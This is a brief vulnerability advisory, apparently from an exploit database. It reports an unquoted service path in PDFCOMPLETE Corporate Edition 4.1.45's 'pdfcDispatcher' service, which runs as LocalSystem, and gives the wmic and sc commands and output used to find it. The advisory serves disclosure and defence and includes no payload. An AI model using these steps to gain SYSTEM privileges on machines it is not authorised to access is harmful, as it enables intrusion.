PDFCOMPLETE Corporate Edition 4.1.45 - (pdfcDispatcher) Unquoted Service Path Vulnerability

# Exploit Title: PDFCOMPLETE Corporate Edition 4.1.45 - 'pdfcDispatcher' Unquoted Service Path
# Discovery by: Ismael Nava
# Discovery Date: 02-11-2020
# Vendor Homepage: https://www.pdfcomplete.com/cms/dpl/tabid/111/Default.aspx?r=du2vH8r
# Software Links : https://pdf-complete.informer.com/download/
# Tested Version: 4.1.45
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
PDF Document Manager       pdfcDispatcher     C:\Program Files (x86)\PDF Complete\pdfsvc.exe /startedbyscm:66B66708-40E2BE4D-pdfcService    Auto


C:\>sc qc pdfcDispatcher
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: pdfcDispatcher
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\PDF Complete\pdfsvc.exe /startedbyscm:66B66708-40E2BE4D-pdfcService
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : PDF Document Manager
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem